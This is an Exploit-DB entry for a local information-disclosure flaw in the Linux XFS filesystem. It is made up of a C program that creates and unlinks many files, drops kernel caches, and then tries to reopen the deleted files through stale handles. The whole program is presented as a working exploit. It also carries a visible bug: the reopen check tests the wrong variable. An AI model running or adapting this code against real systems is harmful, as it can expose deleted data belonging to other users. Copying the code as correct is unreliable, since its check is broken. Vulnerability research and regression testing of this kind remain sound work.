Exploit-DB #15155
Description: XFS - Deleted Inode Local Information Disclosure
Type: local
Platform: linux
Date: 2010-09-29
Author: Red Hat

Exploit:
/*  stale_handle.c - attempt to create a stale handle and open it
*
*  Copyright (C) 2010 Red Hat, Inc. All Rights reserved.
*
*  This program is free software; you can redistribute it and/or modify
*  it under the terms of the GNU General Public License as published by
*  the Free Software Foundation; either version 2 of the License, or
*  (at your option) any later version.
*
*  This program is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*  GNU General Public License for more details.
*
*  You should have received a copy of the GNU General Public License
*  along with this program; if not, write to the Free Software
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
*  
*  Credit: David Chinner
*  The XFS filesystem is prone to a local information-disclosure vulnerability.
*
*  Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks.  *  Denial-of-service attacks may also be possible.
*/

#define TEST_UTIME

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <xfs/xfs.h>
#include <xfs/handle.h>

#define NUMFILES 1024
int main(int argc, char **argv)
{
      int     i;
      int     fd;
      int     ret;
      int     failed = 0;
      char    fname[MAXPATHLEN];
      char    *test_dir;
      void    *handle[NUMFILES];
      size_t  hlen[NUMFILES];
      char    fshandle[256];
      size_t  fshlen;
      struct stat st;


      if (argc != 2) {
              fprintf(stderr, "usage: stale_handle test_dir\n");
              return EXIT_FAILURE;
      }

      test_dir = argv[1];
      if (stat(test_dir, &st) != 0) {
              perror("stat");
              return EXIT_FAILURE;
      }

      ret = path_to_fshandle(test_dir, (void **)fshandle, &fshlen);
      if (ret < 0) {
              perror("path_to_fshandle");
              return EXIT_FAILURE;
      }

      /*
       * create a large number of files to force allocation of new inode
       * chunks on disk.
       */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              fd = open(fname, O_RDWR | O_CREAT | O_TRUNC, 0644);
              if (fd < 0) {
                      printf("Warning (%s,%d), open(%s) failed.\n", __FILE__, 
__LINE__, fname);
                      perror(fname);
                      return EXIT_FAILURE;
              }
              close(fd);
      }

      /* sync to get the new inodes to hit the disk */
      sync();

      /* create the handles */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              ret = path_to_handle(fname, &handle[i], &hlen[i]);
              if (ret < 0) {
                      perror("path_to_handle");
                      return EXIT_FAILURE;
              }
      }

      /* unlink the files */
      for (i=0; i < NUMFILES; i++) {
              sprintf(fname, "%s/file%06d", test_dir, i);
              ret = unlink(fname);
              if (ret < 0) {
                      perror("unlink");
                      return EXIT_FAILURE;
              }
      }

      /* sync to get log forced for unlink transactions to hit the disk */
      sync();

      /* sync once more FTW */
      sync();

      /*
       * now drop the caches so that unlinked inodes are reclaimed and
       * buftarg page cache is emptied so that the inode cluster has to be
       * fetched from disk again for the open_by_handle() call.
       */
      system("echo 3 > /proc/sys/vm/drop_caches");

      /*
       * now try to open the files by the stored handles. Expecting ENOENT
       * for all of them.
       */
      for (i=0; i < NUMFILES; i++) {
              errno = 0;
              fd = open_by_handle(handle[i], hlen[i], O_RDWR);
              if (fd < 0 && errno == ENOENT) {
                      free_handle(handle[i], hlen[i]);
                      continue;
              }
              if (ret >= 0) {
                      printf("open_by_handle(%d) opened an unlinked file!\n", 
i);
                      close(fd);
              } else
                      printf("open_by_handle(%d) returned %d incorrectly on 
an unlinked file!\n", i, errno);
              free_handle(handle[i], hlen[i]);
              failed++;
      }
      if (failed)
              return EXIT_FAILURE;
      return EXIT_SUCCESS;
}